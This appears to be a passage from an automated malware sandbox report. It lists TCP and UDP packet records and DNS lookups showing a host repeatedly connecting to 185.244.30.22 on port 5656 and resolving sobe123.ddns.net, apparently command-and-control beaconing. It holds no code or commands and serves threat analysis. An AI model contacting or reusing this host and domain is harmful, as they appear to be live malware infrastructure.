Aug 3, 2021 11:36:11.408556938 CEST	5656	49751	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:11.631033897 CEST	49751	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:11.768488884 CEST	5656	49751	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:11.768524885 CEST	5656	49751	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:11.768584013 CEST	49751	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:11.818578959 CEST	49751	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:11.948381901 CEST	5656	49751	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:11.950787067 CEST	49751	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:12.121952057 CEST	5656	49751	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:12.122195005 CEST	49751	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:12.227967024 CEST	5656	49751	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:12.228250980 CEST	49751	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:12.261004925 CEST	5656	49751	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:12.261317015 CEST	49751	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:12.392448902 CEST	5656	49751	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:12.392628908 CEST	49751	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:12.518280029 CEST	5656	49751	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:12.518594980 CEST	49751	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:12.522661924 CEST	49751	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:12.652398109 CEST	5656	49751	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:12.652533054 CEST	49751	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:15.538316965 CEST	49677	80	192.168.2.5	93.184.220.29
Aug 3, 2021 11:36:15.538351059 CEST	49675	443	192.168.2.5	20.190.160.131
Aug 3, 2021 11:36:15.538486004 CEST	49676	80	192.168.2.5	67.26.139.254
Aug 3, 2021 11:36:15.538595915 CEST	49691	443	192.168.2.5	20.190.160.131
Aug 3, 2021 11:36:15.538646936 CEST	49694	443	192.168.2.5	20.190.160.131
Aug 3, 2021 11:36:15.558548927 CEST	80	49677	93.184.220.29	192.168.2.5
Aug 3, 2021 11:36:15.558881044 CEST	49677	80	192.168.2.5	93.184.220.29
Aug 3, 2021 11:36:15.561748028 CEST	80	49676	67.26.139.254	192.168.2.5
Aug 3, 2021 11:36:15.562004089 CEST	49676	80	192.168.2.5	67.26.139.254
Aug 3, 2021 11:36:15.567190886 CEST	443	49691	20.190.160.131	192.168.2.5
Aug 3, 2021 11:36:15.567471027 CEST	49691	443	192.168.2.5	20.190.160.131
Aug 3, 2021 11:36:15.567490101 CEST	443	49675	20.190.160.131	192.168.2.5
Aug 3, 2021 11:36:15.567722082 CEST	49675	443	192.168.2.5	20.190.160.131
Aug 3, 2021 11:36:15.569025040 CEST	443	49694	20.190.160.131	192.168.2.5
Aug 3, 2021 11:36:15.569109917 CEST	49694	443	192.168.2.5	20.190.160.131
Aug 3, 2021 11:36:16.210144997 CEST	49679	443	192.168.2.5	20.190.160.136
Aug 3, 2021 11:36:16.210160971 CEST	49690	443	192.168.2.5	20.190.160.136
Aug 3, 2021 11:36:16.234826088 CEST	443	49679	20.190.160.136	192.168.2.5
Aug 3, 2021 11:36:16.234987974 CEST	443	49690	20.190.160.136	192.168.2.5
Aug 3, 2021 11:36:16.234996080 CEST	49679	443	192.168.2.5	20.190.160.136
Aug 3, 2021 11:36:16.235049963 CEST	49690	443	192.168.2.5	20.190.160.136
Aug 3, 2021 11:36:16.632285118 CEST	49752	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:16.759727001 CEST	5656	49752	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:16.759912968 CEST	49752	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:16.760727882 CEST	49752	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:16.931015968 CEST	5656	49752	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:16.931138039 CEST	49752	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:17.102035999 CEST	5656	49752	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:17.102235079 CEST	49752	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:17.130934954 CEST	5656	49752	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:17.131299973 CEST	49752	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:17.254319906 CEST	5656	49752	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:17.254609108 CEST	49752	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:17.384730101 CEST	5656	49752	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:17.384943962 CEST	49752	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:17.584387064 CEST	5656	49752	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:17.584484100 CEST	49752	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:17.763170004 CEST	5656	49752	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:17.763430119 CEST	49752	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:17.904541016 CEST	5656	49752	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:17.907016039 CEST	49752	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:18.066044092 CEST	5656	49752	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:18.066318035 CEST	49752	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:18.245805979 CEST	5656	49752	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:18.245985985 CEST	49752	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:18.373472929 CEST	5656	49752	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:18.373716116 CEST	49752	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:18.507522106 CEST	5656	49752	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:18.507672071 CEST	49752	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:18.665530920 CEST	49752	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:18.675015926 CEST	5656	49752	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:18.675101042 CEST	49752	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:22.743478060 CEST	49753	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:22.877830982 CEST	5656	49753	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:22.877974987 CEST	49753	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:22.878748894 CEST	49753	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:23.070240021 CEST	5656	49753	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:23.070393085 CEST	49753	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:23.172939062 CEST	5656	49753	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:23.173012018 CEST	49753	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:23.244806051 CEST	5656	49753	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:23.244932890 CEST	49753	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:23.347292900 CEST	5656	49753	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:23.374993086 CEST	5656	49753	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:23.375152111 CEST	49753	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:23.572426081 CEST	5656	49753	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:23.572635889 CEST	49753	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:23.765701056 CEST	5656	49753	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:23.765950918 CEST	49753	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:23.860312939 CEST	5656	49753	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:23.860605001 CEST	49753	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:23.888602018 CEST	5656	49753	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:23.888880968 CEST	49753	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:24.049737930 CEST	5656	49753	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:24.050021887 CEST	49753	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:24.185404062 CEST	5656	49753	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:24.413598061 CEST	49753	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:24.544671059 CEST	5656	49753	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:24.545253992 CEST	49753	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:24.550906897 CEST	5656	49753	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:24.601114035 CEST	49753	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:24.632760048 CEST	49753	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:24.666861057 CEST	5656	49753	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:24.667143106 CEST	49753	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:28.709018946 CEST	49754	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:28.834559917 CEST	5656	49754	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:28.834747076 CEST	49754	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:28.835777998 CEST	49754	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:29.013298988 CEST	5656	49754	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:29.014256954 CEST	49754	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:29.178203106 CEST	5656	49754	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:29.178415060 CEST	49754	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:29.355020046 CEST	5656	49754	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:29.355236053 CEST	49754	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:29.478332043 CEST	5656	49754	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:29.478470087 CEST	49754	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:29.648488998 CEST	5656	49754	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:29.649878025 CEST	49754	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:29.821588993 CEST	5656	49754	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:29.821820974 CEST	49754	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:29.979262114 CEST	5656	49754	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:29.979562044 CEST	49754	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:30.110846043 CEST	5656	49754	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:30.111515045 CEST	49754	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:30.285955906 CEST	5656	49754	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:30.287936926 CEST	49754	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:30.415003061 CEST	5656	49754	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:30.419572115 CEST	49754	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:30.544915915 CEST	5656	49754	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:30.545031071 CEST	49754	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:30.649113894 CEST	49754	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:30.721249104 CEST	5656	49754	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:30.721517086 CEST	49754	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:34.742234945 CEST	49755	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:34.865484953 CEST	5656	49755	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:34.867016077 CEST	49755	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:34.868021011 CEST	49755	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:35.049012899 CEST	5656	49755	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:35.049199104 CEST	49755	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:35.164839983 CEST	5656	49755	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:35.165399075 CEST	49755	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:35.234694958 CEST	5656	49755	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:35.234966040 CEST	49755	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:35.344563007 CEST	5656	49755	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:35.346534014 CEST	49755	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:35.367638111 CEST	5656	49755	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:35.414406061 CEST	49755	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:35.695550919 CEST	49755	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:35.883254051 CEST	5656	49755	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:35.883424044 CEST	49755	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:36.022356987 CEST	5656	49755	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:36.022564888 CEST	49755	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:36.198277950 CEST	5656	49755	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:36.198489904 CEST	49755	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:36.379184961 CEST	5656	49755	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:36.379401922 CEST	49755	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:36.506067038 CEST	5656	49755	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:36.506174088 CEST	49755	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:36.636529922 CEST	5656	49755	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:36.649913073 CEST	49755	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:36.712032080 CEST	49755	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:36.827240944 CEST	5656	49755	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:36.827363968 CEST	49755	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:38.176655054 CEST	443	49699	131.253.33.200	192.168.2.5
Aug 3, 2021 11:36:40.805474997 CEST	49756	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:40.948020935 CEST	5656	49756	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:40.948225021 CEST	49756	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:40.949402094 CEST	49756	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:41.123410940 CEST	5656	49756	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:41.123537064 CEST	49756	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:41.291960955 CEST	5656	49756	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:41.292084932 CEST	49756	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:41.316400051 CEST	5656	49756	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:41.316608906 CEST	49756	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:41.440061092 CEST	5656	49756	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:41.440220118 CEST	49756	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:41.564021111 CEST	5656	49756	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:41.564208031 CEST	49756	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:41.726383924 CEST	5656	49756	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:41.726635933 CEST	49756	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:41.902626038 CEST	5656	49756	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:41.902717113 CEST	49756	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:42.029448986 CEST	5656	49756	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:42.029643059 CEST	49756	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:42.161382914 CEST	5656	49756	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:42.161561966 CEST	49756	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:42.338175058 CEST	5656	49756	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:42.338327885 CEST	49756	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:42.468635082 CEST	5656	49756	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:42.468743086 CEST	49756	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:42.590820074 CEST	5656	49756	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:42.591054916 CEST	49756	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:42.744164944 CEST	49756	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:42.758994102 CEST	5656	49756	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:42.759145975 CEST	49756	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:46.793683052 CEST	49757	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:46.918886900 CEST	5656	49757	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:46.919899940 CEST	49757	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:46.919925928 CEST	49757	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:47.085302114 CEST	5656	49757	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:47.272821903 CEST	5656	49757	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:47.273161888 CEST	49757	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:47.395564079 CEST	5656	49757	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:47.397288084 CEST	49757	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:47.567212105 CEST	5656	49757	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:47.691279888 CEST	5656	49757	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:47.693047047 CEST	49757	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:47.817553043 CEST	5656	49757	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:47.819773912 CEST	49757	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:47.949903011 CEST	5656	49757	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:47.951538086 CEST	49757	5656	192.168.2.5	185.244.30.22
Aug 3, 2021 11:36:48.076883078 CEST	5656	49757	185.244.30.22	192.168.2.5
Aug 3, 2021 11:36:48.134278059 CEST	49757	5656	192.168.2.5	185.244.30.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 3, 2021 11:34:33.043502092 CEST	49557	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:34:33.081146955 CEST	53	49557	8.8.8.8	192.168.2.5
Aug 3, 2021 11:34:33.216557026 CEST	61733	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:34:33.266155958 CEST	53	61733	8.8.8.8	192.168.2.5
Aug 3, 2021 11:34:33.768606901 CEST	65447	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:34:33.796195984 CEST	53	65447	8.8.8.8	192.168.2.5
Aug 3, 2021 11:34:34.826149940 CEST	52441	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:34:34.851886034 CEST	53	52441	8.8.8.8	192.168.2.5
Aug 3, 2021 11:34:35.841332912 CEST	62176	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:34:35.866219997 CEST	53	62176	8.8.8.8	192.168.2.5
Aug 3, 2021 11:34:37.628715992 CEST	59596	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:34:37.653671026 CEST	53	59596	8.8.8.8	192.168.2.5
Aug 3, 2021 11:34:38.673630953 CEST	65296	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:34:38.706933022 CEST	53	65296	8.8.8.8	192.168.2.5
Aug 3, 2021 11:34:39.438411951 CEST	63183	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:34:39.474415064 CEST	53	63183	8.8.8.8	192.168.2.5
Aug 3, 2021 11:34:40.172255039 CEST	60151	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:34:40.207861900 CEST	53	60151	8.8.8.8	192.168.2.5
Aug 3, 2021 11:34:42.894826889 CEST	56969	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:34:42.919682026 CEST	53	56969	8.8.8.8	192.168.2.5
Aug 3, 2021 11:34:44.711934090 CEST	55161	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:34:44.736749887 CEST	53	55161	8.8.8.8	192.168.2.5
Aug 3, 2021 11:34:46.300275087 CEST	54757	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:34:46.335510015 CEST	53	54757	8.8.8.8	192.168.2.5
Aug 3, 2021 11:34:52.439148903 CEST	49992	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:34:52.474721909 CEST	53	49992	8.8.8.8	192.168.2.5
Aug 3, 2021 11:34:56.256779909 CEST	60075	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:34:56.311990023 CEST	53	60075	8.8.8.8	192.168.2.5
Aug 3, 2021 11:34:58.911879063 CEST	55016	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:34:58.948497057 CEST	53	55016	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:04.963385105 CEST	64345	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:04.996550083 CEST	53	64345	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:05.362282038 CEST	57128	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:05.414614916 CEST	53	57128	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:11.048209906 CEST	54791	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:11.072742939 CEST	53	54791	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:19.131186962 CEST	50463	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:19.163836002 CEST	53	50463	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:25.141386986 CEST	50394	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:25.179255009 CEST	53	50394	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:27.505357027 CEST	58530	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:27.540448904 CEST	53	58530	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:29.502216101 CEST	53813	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:29.583549976 CEST	53	53813	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:30.212558985 CEST	63732	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:30.246483088 CEST	53	63732	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:30.745430946 CEST	57344	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:30.780872107 CEST	53	57344	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:31.176371098 CEST	54450	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:31.209872007 CEST	53	54450	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:31.373980999 CEST	59261	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:31.407829046 CEST	53	59261	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:31.411180019 CEST	57151	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:31.454351902 CEST	53	57151	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:31.972104073 CEST	59413	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:32.031208038 CEST	53	59413	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:32.528851032 CEST	60516	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:32.565897942 CEST	53	60516	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:33.261357069 CEST	51649	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:33.293668032 CEST	53	51649	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:34.305075884 CEST	65086	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:34.337343931 CEST	53	65086	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:35.153357983 CEST	56432	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:35.191082954 CEST	53	56432	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:35.575184107 CEST	52929	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:35.607692957 CEST	53	52929	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:35.998090982 CEST	64317	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:36.034967899 CEST	53	64317	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:37.551378012 CEST	61004	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:37.578969955 CEST	53	61004	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:44.286135912 CEST	56895	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:44.318723917 CEST	53	56895	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:50.717076063 CEST	62372	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:50.754591942 CEST	53	62372	8.8.8.8	192.168.2.5
Aug 3, 2021 11:35:56.923703909 CEST	61515	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:35:56.957531929 CEST	53	61515	8.8.8.8	192.168.2.5
Aug 3, 2021 11:36:04.220123053 CEST	56675	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:36:04.254407883 CEST	53	56675	8.8.8.8	192.168.2.5
Aug 3, 2021 11:36:05.665716887 CEST	57172	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:36:05.698512077 CEST	53	57172	8.8.8.8	192.168.2.5
Aug 3, 2021 11:36:07.960078955 CEST	55267	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:36:08.000164032 CEST	53	55267	8.8.8.8	192.168.2.5
Aug 3, 2021 11:36:10.335843086 CEST	50969	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:36:10.369540930 CEST	53	50969	8.8.8.8	192.168.2.5
Aug 3, 2021 11:36:16.592588902 CEST	64362	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:36:16.628025055 CEST	53	64362	8.8.8.8	192.168.2.5
Aug 3, 2021 11:36:22.705518007 CEST	54766	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:36:22.741219044 CEST	53	54766	8.8.8.8	192.168.2.5
Aug 3, 2021 11:36:28.675108910 CEST	61446	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:36:28.707896948 CEST	53	61446	8.8.8.8	192.168.2.5
Aug 3, 2021 11:36:34.704138994 CEST	57515	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:36:34.739733934 CEST	53	57515	8.8.8.8	192.168.2.5
Aug 3, 2021 11:36:40.767715931 CEST	58199	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:36:40.800370932 CEST	53	58199	8.8.8.8	192.168.2.5
Aug 3, 2021 11:36:46.760056973 CEST	65221	53	192.168.2.5	8.8.8.8
Aug 3, 2021 11:36:46.793041945 CEST	53	65221	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 3, 2021 11:34:46.300275087 CEST	192.168.2.5	8.8.8.8	0x7b0e	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)
Aug 3, 2021 11:34:52.439148903 CEST	192.168.2.5	8.8.8.8	0xb04a	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)
Aug 3, 2021 11:34:58.911879063 CEST	192.168.2.5	8.8.8.8	0xd65	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)
Aug 3, 2021 11:35:04.963385105 CEST	192.168.2.5	8.8.8.8	0x8673	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)
Aug 3, 2021 11:35:11.048209906 CEST	192.168.2.5	8.8.8.8	0xa298	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)
Aug 3, 2021 11:35:19.131186962 CEST	192.168.2.5	8.8.8.8	0xde5e	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)
Aug 3, 2021 11:35:25.141386986 CEST	192.168.2.5	8.8.8.8	0xd66e	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)
Aug 3, 2021 11:35:31.373980999 CEST	192.168.2.5	8.8.8.8	0x70da	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)
Aug 3, 2021 11:35:37.551378012 CEST	192.168.2.5	8.8.8.8	0x53a0	Standard query (0)	sobe123.ddns.net	A (IP address)	IN (0x0001)
